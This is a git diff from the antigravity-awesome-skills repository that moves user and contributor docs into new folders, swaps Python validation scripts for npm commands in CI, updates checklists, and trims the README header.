diff --git a/.github/MAINTENANCE.md b/.github/MAINTENANCE.md
index 4992d9fd..9bef4108 100644
--- a/.github/MAINTENANCE.md
+++ b/.github/MAINTENANCE.md
@@ -80,13 +80,13 @@ Before ANY commit that adds/modifies skills, run the chain:
git commit -m "chore: sync generated files"
```
> 🔴 **CRITICAL**: If you skip this, CI will fail with "Detected uncommitted changes".
- > See [docs/CI_DRIFT_FIX.md](../docs/CI_DRIFT_FIX.md) for details.
+ > See [`docs/maintainers/ci-drift-fix.md`](../docs/maintainers/ci-drift-fix.md) for details.
### B. When You Merge a PR (Step-by-Step)
**Before merging:**
-1. **CI is green** — All Validation Chain and catalog steps passed (see [workflows/ci.yml](workflows/ci.yml)).
+1. **CI is green** — Validation, reference checks, tests, and generated artifact steps passed (see [`.github/workflows/ci.yml`](workflows/ci.yml)).
2. **No drift** — PR does not introduce uncommitted generated-file changes; if the "Check for Uncommitted Drift" step failed, ask the author to run `npm run chain` and `npm run catalog` and commit the result.
3. **Quality Bar** — PR description confirms the [Quality Bar Checklist](.github/PULL_REQUEST_TEMPLATE.md) (metadata, risk label, credits if applicable).
4. **Issue link** — If the PR fixes an issue, the PR description should contain `Closes #N` or `Fixes #N` so GitHub auto-closes the issue on merge.
@@ -134,21 +134,21 @@ GitHub's anchor generation breaks if headers have emojis.
If you update installation instructions or tool compatibility, you MUST update all 3 files:
1. `README.md` (Source of Truth)
-2. `docs/GETTING_STARTED.md` (Beginner Guide)
-3. `docs/FAQ.md` (Troubleshooting)
+2. `docs/users/getting-started.md` (Beginner Guide)
+3. `docs/users/faq.md` (Troubleshooting)
_Common pitfall: Updating the clone URL in README but leaving an old one in FAQ._
### C. Statistics Consistency (CRITICAL)
-If you add/remove skills, you **MUST** ensure the total count is identical in ALL locations.
-**Do not allow drift** (e.g., 560 in title, 558 in header).
+If you add/remove skills, you **MUST** ensure generated counts and user-facing claims stay aligned.
Locations to check:
-1. **Title of `README.md`**: "1,200+ Agentic Skills..."
-2. **`## Full Skill Registry (1,200+/1,200+)` header**.
-3. **`docs/GETTING_STARTED.md` intro**.
+1. `README.md`
+2. `package.json` description
+3. `skills_index.json` and generated catalog artifacts
+4. Any user docs that deliberately hardcode counts
### D. Credits Policy (Who goes where?)
@@ -166,7 +166,7 @@ Locations to check:
If you touch any Workflows-related artifact, keep all workflow surfaces in sync:
-1. `docs/WORKFLOWS.md` (human-readable playbooks)
+1. `docs/users/workflows.md` (human-readable playbooks)
2. `data/workflows.json` (machine-readable schema)
3. `skills/antigravity-workflows/SKILL.md` (orchestration entrypoint)
@@ -177,8 +177,8 @@ Rules:
- If a workflow references optional skills not yet merged (example: `go-playwright`), mark them explicitly as **optional** in docs.
- If workflow onboarding text is changed, update the docs trinity:
- `README.md`
- - `docs/GETTING_STARTED.md`
- - `docs/FAQ.md`
+ - `docs/users/getting-started.md`
+ - `docs/users/faq.md`
---
@@ -192,7 +192,7 @@ Reject any PR that fails this:
2. **Safety**: `risk: offensive` used for red-team tools?
3. **Clarity**: Does it say _when_ to use it?
4. **Examples**: Copy-pasteable code blocks?
-5. **Actions**: "Run this command" vs "Think about this".
+5. **Limitations / Safety Notes**: Edge cases and risk boundaries are stated clearly.
### B. Risk Labels (V4)
@@ -204,14 +204,25 @@ Reject any PR that fails this:
## 4. 🚀 Release Workflow
-When cutting a new version (e.g., v4.1.0):
+When cutting a new version, follow the maintainer playbook in [`docs/maintainers/release-process.md`](../docs/maintainers/release-process.md).
**Release checklist (order matters):**
-Validate → Changelog → Bump `package.json` (and README if needed) → Commit & push → Create GitHub Release with tag **matching** `package.json` (e.g. `v4.1.0` ↔ `"version": "4.1.0"`) → npm publish (manual or via CI) → Close any remaining linked issues.
+Operational verification → Changelog → Bump `package.json` (and README if needed) → Commit & push → Create GitHub Release with tag matching `package.json` → npm publish (manual or via CI) → Close remaining linked issues.
---
-1. **Run Full Validation**: `python3 scripts/validate_skills.py --strict`
+1. **Run release verification**:
+ ```bash
+ npm run validate
+ npm run validate:references
+ npm run sync:all
+ npm run test
+ npm run app:build
+ ```
+ Optional diagnostic pass:
+ ```bash
+ npm run validate:strict
+ ```
2. **Update Changelog**: Add the new release section to `CHANGELOG.md`.
3. **Bump Version**:
- Update `package.json` → `"version": "X.Y.Z"` (source of truth for npm).
@@ -224,12 +235,12 @@ Validate → Changelog → Bump `package.json` (and README if needed) → Commit
Use the GitHub CLI:
```bash
- # Prepare release notes (copy the new section from CHANGELOG.md into release_notes.md, or use CHANGELOG excerpt)
+ # Prepare release notes (copy the new section from CHANGELOG.md into docs/maintainers/release-process.md, or use CHANGELOG excerpt)
# Then create the tag AND the release page (tag must match package.json version, e.g. v4.1.0)
- gh release create v4.0.0 --title "v4.0.0 - [Theme Name]" --notes-file release_notes.md
+ gh release create v4.0.0 --title "v4.0.0 - [Theme Name]" --notes-file docs/maintainers/release-process.md
```
- **Important:** The release tag (e.g. `v4.1.0`) must match `package.json`'s `"version": "4.1.0"`. The [Publish to npm](workflows/publish-npm.yml) workflow runs on **Release published** and will run `npm publish`; npm rejects republishing the same version.
+ **Important:** The release tag must match `package.json`'s version. The [Publish to npm](workflows/publish-npm.yml) workflow runs on **Release published** and will run `npm publish`; npm rejects republishing the same version.
_Or create the release manually via GitHub UI > Releases > Draft a new release, then publish._
diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index 6865c20d..fe6fe837 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -6,12 +6,13 @@ Please include a summary of the change and which skill is added or fixed.
**All items must be checked before merging.**
-- [ ] **Standards**: I have read `docs/QUALITY_BAR.md` and `docs/SECURITY_GUARDRAILS.md`.
-- [ ] **Metadata**: The `SKILL.md` frontmatter is valid (checked with `scripts/validate_skills.py`).
-- [ ] **Risk Label**: I have assigned the correct `risk:` tag (`none`, `safe`, `critical`, `offensive`).
+- [ ] **Standards**: I have read `docs/contributors/quality-bar.md` and `docs/contributors/security-guardrails.md`.
+- [ ] **Metadata**: The `SKILL.md` frontmatter is valid (checked with `npm run validate`).
+- [ ] **Risk Label**: I have assigned the correct `risk:` tag (`none`, `safe`, `critical`, `offensive`, or `unknown` for legacy/unclassified content).
- [ ] **Triggers**: The "When to use" section is clear and specific.
- [ ] **Security**: If this is an _offensive_ skill, I included the "Authorized Use Only" disclaimer.
- [ ] **Local Test**: I have verified the skill works locally.
+- [ ] **Repo Checks**: I ran `npm run validate:references` if my change affected docs, bundles, workflows, or generated artifacts.
- [ ] **Credits**: I have added the source credit in `README.md` (if applicable).
## Type of Change
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 2e4d8e95..1a07ec3f 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -25,18 +25,6 @@ jobs:
run: |
pip install pyyaml
- - name: 🔍 Validate Skills (Soft Mode)
- run: |
- python3 scripts/validate_skills.py
-
- - name: 🏗️ Generate Index
- run: |
- python3 scripts/generate_index.py
-
- - name: 📝 Update README
- run: |
- python3 scripts/update_readme.py
-
- name: Set up Node
uses: actions/setup-node@v4
with:
@@ -45,6 +33,31 @@ jobs:
- name: Install npm dependencies
run: npm ci
+ - name: Verify directory structure
+ run: |
+ test -d skills/
+ test -d apps/web-app/
+ test -d tools/scripts/
+ test -d tools/lib/
+ test -f README.md
+ test -f CONTRIBUTING.md
+
+ - name: 🔍 Validate Skills (Soft Mode)
+ run: |
+ npm run validate
+
+ - name: 🔗 Validate References
+ run: |
+ npm run validate:references
+
+ - name: 🏗️ Generate Index
+ run: |
+ npm run index
+
+ - name: 📝 Update README
+ run: |
+ npm run readme
+
- name: Audit npm dependencies
run: npm audit --audit-level=high
continue-on-error: true
@@ -60,8 +73,8 @@ jobs:
- name: Set up GitHub credentials (for auto-sync)
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: |
- git config --global user.name 'github-actions[bot]'
- git config --global user.email 'github-actions[bot]@users.noreply.github.com'
+ git config user.name 'github-actions[bot]'
+ git config user.email 'github-actions[bot]@users.noreply.github.com'
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
- name: Auto-commit registry drift (main only)
diff --git a/.gitignore b/.gitignore
index b2a5d922..4e8ad964 100644
--- a/.gitignore
+++ b/.gitignore
@@ -37,5 +37,5 @@ scripts/*count*.py
validation-baseline.json
# Web app generated assets (from npm run app:setup)
-web-app/public/skills/
-web-app/public/skills.json
+apps/web-app/public/skills/
+apps/web-app/public/skills.json
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index a43b0252..515e5bce 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -4,6 +4,35 @@
---
+## Quick Start for Contributors
+
+```bash
+# 1. Fork and clone
+git clone https://github.com/YOUR-USERNAME/antigravity-awesome-skills.git
+cd antigravity-awesome-skills
+
+# 2. Install dependencies
+npm install
+
+# 3. Create your skill
+mkdir -p skills/my-awesome-skill
+
+# 4. Use the canonical template
+cp docs/contributors/skill-template.md skills/my-awesome-skill/SKILL.md
+
+# 5. Edit and validate
+npm run validate
+
+# 6. Open a PR
+git add skills/my-awesome-skill/
+git commit -m "feat: add my-awesome-skill for [purpose]"
+git push origin my-branch
+```
+
+If you only want to improve docs, editing directly in GitHub is still perfectly fine.
+
+---
+
## Ways to Contribute
You don't need to be an expert! Here are ways anyone can help:
@@ -106,12 +135,17 @@ touch SKILL.md
#### Step 3: Write Your SKILL.md
-Every skill needs this basic structure:
+Every skill should start from the canonical template in [`docs/contributors/skill-template.md`](docs/contributors/skill-template.md).
+
+Minimum frontmatter:
```markdown
---
name: my-awesome-skill
description: "Brief one-line description of what this skill does"
+risk: safe
+source: community
+date_added: "2026-03-06"
---
# Skill Title
@@ -183,10 +217,19 @@ More examples...
#### Step 5: Validate Your Skill
-Run the validation script:
+Recommended validation path:
```bash
-python3 scripts/validate_skills.py
+npm install
+npm run validate
+npm run validate:references
+npm test
+```
+
+Python-only fallback:
+
+```bash
+python3 tools/scripts/validate_skills.py
```
This checks:
@@ -194,6 +237,15 @@ This checks:
- ✅ Frontmatter is correct
- ✅ Name matches folder name
- ✅ Description exists
+- ✅ Reference data and docs bundles stay coherent
+
+Optional hardening pass:
+
+```bash
+npm run validate:strict
+```
+
+`validate:strict` is useful before larger cleanup PRs, but the repository still contains legacy skills that do not all satisfy the strict quality bar.
#### Step 6: Submit Your Skill
@@ -214,12 +266,15 @@ git push origin my-branch
## Skill Template (Copy & Paste)
-Save time! Copy this template:
+The canonical template now lives at [`docs/contributors/skill-template.md`](docs/contributors/skill-template.md). You can still use the inline version below as a starting point:
```markdown
---
name: your-skill-name
description: "One sentence describing what this skill does and when to use it"
+risk: safe
+source: community
+date_added: "2026-03-06"
---
# Your Skill Name
@@ -327,10 +382,11 @@ description: "One sentence describing what this skill does and when to use it"
Before submitting your contribution:
- [ ] My skill has a clear, descriptive name
-- [ ] The `SKILL.md` has proper frontmatter (name + description)
+- [ ] The `SKILL.md` has proper frontmatter (`name`, `description`, `risk`, `source`, `date_added`)
- [ ] I've included examples
- [ ] I've tested the skill with an AI assistant
-- [ ] I've run `python3 scripts/validate_skills.py`
+- [ ] I've run `npm run validate`
+- [ ] I've run `npm run validate:references` and `npm test` when my change affects docs, bundles, workflows, or generated artifacts
- [ ] My commit message is clear (e.g., "feat: add docker-compose skill")
- [ ] I've checked for typos and grammar
diff --git a/FAQ.md b/FAQ.md
index 76170b47..901a1392 100644
--- a/FAQ.md
+++ b/FAQ.md
@@ -1,528 +1,3 @@
-# ❓ Frequently Asked Questions (FAQ)
+# FAQ
-**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
-
----
-
-## 🎯 General Questions
-
-### What are "skills" exactly?
-
-Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
-
-**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), skills let your AI become an expert in different areas when you need them.
-
----
-
-### Do I need to install all 179 skills?
-
-**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name` or `/skill-name`.
-
-It's like having a library - all the books are there, but you only read the ones you need.
-
----
-
-### Which AI tools work with these skills?
-
-These skills work with any AI coding assistant that supports the `SKILL.md` format:
-
-- ✅ **Claude Code** (Anthropic CLI)
-- ✅ **Gemini CLI** (Google)
-- ✅ **Codex CLI** (OpenAI)
-- ✅ **Cursor** (AI IDE)
-- ✅ **Antigravity IDE**
-- ✅ **OpenCode**
-- ⚠️ **GitHub Copilot** (partial support)
-
----
-
-### Are these skills free to use?
-
-**Yes!** This repository is licensed under MIT License, which means:
-- ✅ Free for personal use
-- ✅ Free for commercial use
-- ✅ You can modify them
-- ✅ You can redistribute them
-
----
-
-### Do skills work offline?
-
-The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function. So:
-- ✅ Skills are local files
-- ❌ AI assistant needs internet
-
----
-
-## Installation & Setup
-
-### Where should I install the skills?
-
-The universal path that works with most tools is `.agent/skills/`:
-
-```bash
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-**Tool-specific paths:**
-- Claude Code: `.claude/skills/` or `.agent/skills/`
-- Gemini CLI: `.gemini/skills/` or `.agent/skills/`
-- Cursor: `.cursor/skills/` or project root
-- Antigravity: `.agent/skills/`
-
----
-
-### Can I install skills in multiple projects?
-
-**Yes!** You have two options:
-
-**Option 1: Global Installation** (recommended)
-Install once in your home directory, works for all projects:
-```bash
-cd ~
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-**Option 2: Per-Project Installation**
-Install in each project directory:
-```bash
-cd /path/to/your/project
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
----
-
-### How do I update skills to the latest version?
-
-Navigate to your skills directory and pull the latest changes:
-
-```bash
-cd .agent/skills
-git pull origin main
-```
-
----
-
-### Can I install only specific skills?
-
-**Yes!** You can manually copy individual skill folders:
-
-```bash
-# Clone the full repo first
-git clone https://github.com/sickn33/antigravity-awesome-skills.git temp-skills
-
-# Copy only the skills you want
-mkdir -p .agent/skills
-cp -r temp-skills/skills/brainstorming .agent/skills/
-cp -r temp-skills/skills/stripe-integration .agent/skills/
-
-# Clean up
-rm -rf temp-skills
-```
-
----
-
-## Using Skills
-
-### How do I invoke a skill?
-
-Use the `@` symbol followed by the skill name:
-
-```
-@skill-name your request here
-```
-
-**Examples:**
-```
-@brainstorming help me design a todo app
-@stripe-integration add subscription billing
-@systematic-debugging fix this test failure
-```
-
-Some tools also support `/skill-name` syntax.
-
----
-
-### How do I know which skill to use?
-
-**Method 1: Browse the README**
-Check the [Full Skill Registry](README.md#full-skill-registry-179179) organized by category
-
-**Method 2: Search by keyword**
-```bash
-ls skills/ | grep "keyword"
-```
-
-**Method 3: Ask your AI**
-```
-What skills are available for [topic]?
-```
-
----
-
-### Can I use multiple skills at once?
-
-**Yes!** You can invoke multiple skills in the same conversation:
-
-```
-@brainstorming help me design this feature
-
-[After brainstorming...]
-
-@test-driven-development now let's implement it with tests
-```
-
----
-
-### What if a skill doesn't work?
-
-**Troubleshooting steps:**
-
-1. **Check installation path**
- ```bash
- ls .agent/skills/
- ```
-
-2. **Verify skill exists**
- ```bash
- ls .agent/skills/skill-name/
- ```
-
-3. **Check SKILL.md exists**
- ```bash
- cat .agent/skills/skill-name/SKILL.md
- ```
-
-4. **Try restarting your AI assistant**
-
-5. **Check for typos in skill name**
- - Use `@brainstorming` not `@brain-storming`
- - Names are case-sensitive in some tools
-
-6. **Report the issue**
- [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) with details
-
----
-
-## 🤝 Contributing
-
-### I'm new to open source. Can I still contribute?
-
-**Absolutely!** Everyone starts somewhere. We welcome contributions from beginners:
-
-- Fix typos or grammar
-- Improve documentation clarity
-- Add examples to existing skills
-- Report issues or confusing parts
-
-Check out [CONTRIBUTING_GUIDE.md](CONTRIBUTING_GUIDE.md) for step-by-step instructions.
-
----
-
-### Do I need to know how to code to contribute?
-
-**No!** Many valuable contributions don't require coding:
-
-- **Documentation improvements** - Make things clearer
-- **Examples** - Add real-world usage examples
-- **Issue reporting** - Tell us what's confusing
-- **Testing** - Try skills and report what works
-
----
-
-### How do I create a new skill?
-
-**Quick version:**
-
-1. Create a folder: `skills/my-skill-name/`
-2. Create `SKILL.md` with frontmatter and content
-3. Test it with your AI assistant
-4. Run validation: `python3 scripts/validate_skills.py`
-5. Submit a Pull Request
-
-**Detailed version:** See [CONTRIBUTING_GUIDE.md](CONTRIBUTING_GUIDE.md)
-
----
-
-### What makes a good skill?
-
-A good skill:
-- ✅ Solves a specific problem
-- ✅ Has clear, actionable instructions
-- ✅ Includes examples
-- ✅ Is reusable across projects
-- ✅ Follows the standard structure
-
-See [SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md) for details.
-
----
-
-### How long does it take for my contribution to be reviewed?
-
-Review times vary, but typically:
-- **Simple fixes** (typos, docs): 1-3 days
-- **New skills**: 3-7 days
-- **Major changes**: 1-2 weeks
-
-You can speed this up by:
-- Following the contribution guidelines
-- Writing clear commit messages
-- Testing your changes
-- Responding to feedback quickly
-
----
-
-## Technical Questions
-
-### What's the difference between SKILL.md and README.md?
-
-- **SKILL.md** (required): The actual skill definition that the AI reads
-- **README.md** (optional): Human-readable documentation about the skill
-
-The AI primarily uses `SKILL.md`, while developers read `README.md`.
-
----
-
-### Can I use scripts or code in my skill?
-
-**Yes!** Skills can include:
-- `scripts/` - Helper scripts
-- `examples/` - Example code
-- `templates/` - Code templates
-- `references/` - Documentation
-
-Reference them in your `SKILL.md`:
-```markdown
-Run the setup script:
-\`\`\`bash
-bash scripts/setup.sh
-\`\`\`
-```
-
----
-
-### What programming languages can skills cover?
-
-**Any language!** Current skills cover:
-- JavaScript/TypeScript
-- Python
-- Go
-- Rust
-- Swift
-- Kotlin
-- Shell scripting
-- And many more...
-
----
-
-### Can skills call other skills?
-
-**Yes!** Skills can reference other skills:
-
-```markdown
-## Workflow
-
-1. First, use `@brainstorming` to design
-2. Then, use `@writing-plans` to plan
-3. Finally, use `@test-driven-development` to implement
-```
-
----
-
-### How do I validate my skill before submitting?
-
-Run the validation script:
-
-```bash
-python3 scripts/validate_skills.py
-```
-
-This checks:
-- ✅ SKILL.md exists
-- ✅ Frontmatter is valid
-- ✅ Name matches folder name
-- ✅ Description exists
-
----
-
-## Learning & Best Practices
-
-### Which skills should I try first?
-
-**For beginners:**
-- `@brainstorming` - Design before coding
-- `@systematic-debugging` - Fix bugs methodically
-- `@git-pushing` - Commit with good messages
-
-**For developers:**
-- `@test-driven-development` - Write tests first
-- `@react-best-practices` - Modern React patterns
-- `@senior-fullstack` - Full-stack development
-
-**For security:**
-- `@ethical-hacking-methodology` - Security basics
-- `@burp-suite-testing` - Web app testing
-
----
-
-### How do I learn to write good skills?
-
-**Learning path:**
-
-1. **Read existing skills** - Study 5-10 well-written skills
-2. **Use skills** - Try them with your AI assistant
-3. **Read guides** - Check [SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md)
-4. **Start simple** - Create a basic skill first
-5. **Get feedback** - Submit and learn from reviews
-6. **Iterate** - Improve based on feedback
-
-**Recommended skills to study:**
-- `skills/brainstorming/SKILL.md` - Clear structure
-- `skills/systematic-debugging/SKILL.md` - Comprehensive
-- `skills/git-pushing/SKILL.md` - Simple and focused
-
----
-
-### Are there any skills for learning AI/ML?
-
-**Yes!** Check out:
-- `@rag-engineer` - RAG systems
-- `@prompt-engineering` - Prompt design
-- `@langgraph` - Multi-agent systems
-- `@ai-agents-architect` - Agent architecture
-- `@llm-app-patterns` - LLM application patterns
-
----
-
-## Troubleshooting
-
-### My AI assistant doesn't recognize skills
-
-**Possible causes:**
-
-1. **Wrong installation path**
- - Check your tool's documentation for the correct path
- - Try `.agent/skills/` as the universal path
-
-2. **Skill name typo**
- - Verify the exact skill name: `ls .agent/skills/`
- - Use the exact name from the folder
-
-3. **Tool doesn't support skills**
- - Verify your tool supports the SKILL.md format
- - Check the [Compatibility](#-compatibility) section
-
-4. **Need to restart**
- - Restart your AI assistant after installing skills
-
----
-
-### A skill gives incorrect or outdated advice
-
-**Please report it!**
-
-1. [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)
-2. Include:
- - Which skill
- - What's incorrect
- - What should it say instead
- - Links to correct documentation
-
-We'll update it quickly!
-
----
-
-### Can I modify skills for my own use?
-
-**Yes!** The MIT License allows you to:
-- ✅ Modify skills for your needs
-- ✅ Create private versions
-- ✅ Customize for your team
-
-**To modify:**
-1. Copy the skill to a new location
-2. Edit the SKILL.md file
-3. Use your modified version
-
-**Consider contributing improvements back!**
-
----
-
-## Statistics & Info
-
-### How many skills are there?
-
-**179 skills** across 10+ categories as of the latest update.
-
----
-
-### How often are skills updated?
-
-- **Bug fixes**: As soon as reported
-- **New skills**: Added regularly by contributors
-- **Updates**: When best practices change
-
-**Stay updated:**
-```bash
-cd .agent/skills
-git pull origin main
-```
-
----
-
-### Who maintains this repository?
-
-This is a community-driven project with contributions from:
-- Original creators
-- Open source contributors
-- AI coding assistant users worldwide
-
-See [Credits & Sources](README.md#credits--sources) for attribution.
-
----
-
-## Still Have Questions?
-
-### Where can I get help?
-
-- **[GitHub Discussions](https://github.com/sickn33/antigravity-awesome-skills/discussions)** - Ask questions
-- **[GitHub Issues](https://github.com/sickn33/antigravity-awesome-skills/issues)** - Report bugs
-- **Documentation** - Read the guides in this repo
-- **Community** - Connect with other users
-
----
-
-### How can I stay updated?
-
-- **Star the repository** on GitHub
-- **Watch the repository** for updates
-- **Subscribe to releases** for notifications
-- **Follow contributors** on social media
-
----
-
-### Can I use these skills commercially?
-
-**Yes!** The MIT License permits commercial use. You can:
-- ✅ Use in commercial projects
-- ✅ Use in client work
-- ✅ Include in paid products
-- ✅ Modify for commercial purposes
-
-**Only requirement:** Keep the license notice.
-
----
-
-## 💡 Pro Tips
-
-- Start with `@brainstorming` before building anything new
-- Use `@systematic-debugging` when stuck on bugs
-- Try `@test-driven-development` for better code quality
-- Explore `@skill-creator` to make your own skills
-- Read skill descriptions to understand when to use them
-
----
-
-**Question not answered?**
-
-[Open a discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions) and we'll help you out! 🙌
+This document moved to [`docs/users/faq.md`](docs/users/faq.md).
diff --git a/GETTING_STARTED.md b/GETTING_STARTED.md
index 9c4b646d..feca1d9e 100644
--- a/GETTING_STARTED.md
+++ b/GETTING_STARTED.md
@@ -1,201 +1,3 @@
-# Getting Started with Antigravity Awesome Skills
+# Getting Started
-**New here? This guide will help you understand and use this repository in 5 minutes!**
-
----
-
-## 🤔 What Are "Skills"?
-
-Think of skills as **specialized instruction manuals** for AI coding assistants.
-
-**Simple analogy:** Just like you might hire different experts (a designer, a security expert, a marketer), these skills let your AI assistant become an expert in specific areas when you need them.
-
----
-
-## 📦 What's Inside This Repository?
-
-This repo contains **179 ready-to-use skills** organized in the `skills/` folder. Each skill is a folder with at least one file: `SKILL.md`
-
-```
-skills/
-├── brainstorming/
-│ └── SKILL.md ← The skill definition
-├── stripe-integration/
-│ └── SKILL.md
-├── react-best-practices/
-│ └── SKILL.md
-└── ... (176 more skills)
-```
-
----
-
-## How Do Skills Work?
-
-### Step 1: Install Skills
-Copy the skills to your AI tool's directory:
-
-```bash
-# For most AI tools (Claude Code, Gemini CLI, etc.)
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-### Step 2: Use a Skill
-In your AI chat, mention the skill:
-
-```
-@brainstorming help me design a todo app
-```
-
-or
-
-```
-/stripe-integration add payment processing to my app
-```
-
-### Step 3: The AI Becomes an Expert
-The AI loads that skill's knowledge and helps you with specialized expertise!
-
----
-
-## Which AI Tools Work With This?
-
-| Tool | Works? | Installation Path |
-|------|--------|-------------------|
-| **Claude Code** | ✅ Yes | `.claude/skills/` or `.agent/skills/` |
-| **Gemini CLI** | ✅ Yes | `.gemini/skills/` or `.agent/skills/` |
-| **Cursor** | ✅ Yes | `.cursor/skills/` |
-| **GitHub Copilot** | ⚠️ Partial | Copy to `.github/copilot/` |
-| **Antigravity IDE** | ✅ Yes | `.agent/skills/` |
-
----
-
-## Skill Categories (Simplified)
-
-### **Creative & Design** (10 skills)
-Make beautiful things: UI design, art, themes, web components
-- Try: `@frontend-design`, `@canvas-design`, `@ui-ux-pro-max`
-
-### **Development** (25 skills)
-Write better code: testing, debugging, React patterns, architecture
-- Try: `@test-driven-development`, `@systematic-debugging`, `@react-best-practices`
-
-### **Security** (50 skills)
-Ethical hacking and penetration testing tools
-- Try: `@ethical-hacking-methodology`, `@burp-suite-testing`
-
-### **AI & Agents** (30 skills)
-Build AI apps: RAG, LangGraph, prompt engineering, voice agents
-- Try: `@rag-engineer`, `@prompt-engineering`, `@langgraph`
-
-### **Documents** (4 skills)
-Work with Word, Excel, PowerPoint, PDF files
-- Try: `@docx-official`, `@xlsx-official`, `@pdf-official`
-
-### **Marketing** (23 skills)
-Grow your product: SEO, copywriting, ads, email campaigns
-- Try: `@copywriting`, `@seo-audit`, `@page-cro`
-
-### **Integrations** (25 skills)
-Connect to services: Stripe, Firebase, Twilio, Discord, Slack
-- Try: `@stripe-integration`, `@firebase`, `@clerk-auth`
-
----
-
-## Your First Skill: A Quick Example
-
-Let's try the **brainstorming** skill:
-
-1. **Open your AI assistant** (Claude Code, Cursor, etc.)
-
-2. **Type this:**
- ```
- @brainstorming I want to build a simple weather app
- ```
-
-3. **What happens:**
- - The AI loads the brainstorming skill
- - It asks you questions one at a time
- - It helps you design the app before coding
- - It creates a design document for you
-
-4. **Result:** You get a well-thought-out plan instead of jumping straight to code!
-
----
-
-## How to Find the Right Skill
-
-### Method 1: Browse by Category
-Check the [Full Skill Registry](README.md#full-skill-registry-179179) in the main README
-
-### Method 2: Search by Keyword
-Use your file explorer or terminal:
-```bash
-# Find skills related to "testing"
-ls skills/ | grep test
-
-# Find skills related to "auth"
-ls skills/ | grep auth
-```
-
-### Method 3: Look at the Index
-Check `skills_index.json` for a machine-readable list
-
----
-
-## 🤝 Want to Contribute?
-
-Great! Here's how:
-
-### Option 1: Improve Documentation
-- Make READMEs clearer
-- Add more examples
-- Fix typos or confusing parts
-
-### Option 2: Create a New Skill
-See our [CONTRIBUTING_GUIDE.md](CONTRIBUTING_GUIDE.md) for step-by-step instructions
-
-### Option 3: Report Issues
-Found something confusing? [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)
-
----
-
-## ❓ Common Questions
-
-### Q: Do I need to install all 179 skills?
-**A:** No! Clone the whole repo, and your AI will only load skills when you use them.
-
-### Q: Can I create my own skills?
-**A:** Yes! Check out the `@skill-creator` skill or read [CONTRIBUTING_GUIDE.md](CONTRIBUTING_GUIDE.md)
-
-### Q: What if my AI tool isn't listed?
-**A:** If it supports the `SKILL.md` format, try `.agent/skills/` - it's the universal path.
-
-### Q: Are these skills free?
-**A:** Yes! MIT License. Use them however you want.
-
-### Q: Do skills work offline?
-**A:** The skill files are local, but your AI assistant needs internet to function.
-
----
-
-## Next Steps
-
-1. ✅ Install the skills in your AI tool
-2. ✅ Try 2-3 skills from different categories
-3. ✅ Read [CONTRIBUTING_GUIDE.md](CONTRIBUTING_GUIDE.md) if you want to help
-4. ✅ Star the repo if you find it useful! ⭐
-
----
-
-## 💡 Pro Tips
-
-- **Start with `@brainstorming`** before building anything new
-- **Use `@systematic-debugging`** when you're stuck on a bug
-- **Try `@test-driven-development`** to write better code
-- **Explore `@skill-creator`** to make your own skills
-
----
-
-**Still confused?** Open an issue and we'll help you out! 🙌
-
-**Ready to dive deeper?** Check out the main [README.md](README.md) for the complete skill list.
+This document moved to [`docs/users/getting-started.md`](docs/users/getting-started.md).
diff --git a/README.md b/README.md
index 2b6eb86b..d7d9657c 100644
--- a/README.md
+++ b/README.md
@@ -1,453 +1,151 @@
-# 🌌 Antigravity Awesome Skills: 1,200+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More
+
+# 🌌 Antigravity Awesome Skills: 1,204+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More
-> **The Ultimate Collection of 1,200+ Universal Agentic Skills for AI Coding Assistants — Claude Code, Gemini CLI, Codex CLI, Antigravity IDE, GitHub Copilot, Cursor, OpenCode, AdaL**
-
-[](https://github.com/sickn33/antigravity-awesome-skills/stargazers)
+> **The Ultimate Collection of 1,204+ Universal Agentic Skills for AI Coding Assistants — Claude Code, Gemini CLI, Codex CLI, Antigravity IDE, GitHub Copilot, Cursor, OpenCode, AdaL**
+[](https://github.com/sickn33/antigravity-awesome-skills/stargazers)
[](https://opensource.org/licenses/MIT)
[](https://claude.ai)
-[](https://github.com/google-gemini/gemini-cli)
-[](https://github.com/openai/codex)
-[](https://kiro.dev)
[](https://cursor.sh)
-[](https://github.com/features/copilot)
-[](https://github.com/opencode-ai/opencode)
-[](https://github.com/sickn33/antigravity-awesome-skills)
-[](https://sylph.ai/)
-[](https://github.com/yeasy/ask)
-[](https://buymeacoffee.com/sickn33)
+[](apps/web-app)
-If this project helps you, you can [support it here](https://buymeacoffee.com/sickn33) or simply ⭐ the repo.
+**Antigravity Awesome Skills** is a curated, battle-tested library of **1,204+ high-performance agentic skills** designed to work seamlessly across the major AI coding assistants.
-**Antigravity Awesome Skills** is a curated, battle-tested library of **1,200+ high-performance agentic skills** designed to work seamlessly across all major AI coding assistants:
+**Welcome to the V7.0.0 21k Stars Celebration Release!** This repository gives your agent reusable playbooks for planning, coding, debugging, testing, security review, infrastructure work, product thinking, and much more.
